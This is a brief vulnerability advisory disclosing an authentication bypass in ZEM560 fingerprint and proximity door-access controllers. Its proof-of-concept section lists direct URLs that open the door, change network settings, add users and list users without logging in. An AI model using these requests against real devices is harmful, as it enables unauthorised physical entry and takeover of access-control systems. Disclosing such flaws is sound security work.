Fingerprint And Proximity Access Control Bypass

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[+] Device: Fingerprint & Proximity Access Control  
[+] Model: ZEM560 and others  
[+] Kernel: 2.6.24 Treckle on an MIPS  
[+] Vulnerability: Auth Bypass  
[+] Impact: By using a direct URL attackers can bypass the fingerprint  
& proximity security and open the door. Attackers may change the  
device configuration, create admin users, access to reports, etc.  
[+] PoC:  
[-] Open the Door: http://ip.address/form/Device?act=9  
[-] Change IP config: http://ip.address/form/Device?act=5  
[-] Add users: http://ip.address/csl/user?action=add  
[-] Users List: http://ip.address/csl/user  
  
[+] Reference:  
http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/  
  
  
  
  
- --   
Fernando A. Lagos Berardi  
Seguridad Informatica  
GNU/Linux User #382319  
Blog: http://blog.zerial.org  
Jabber: [email protected]  
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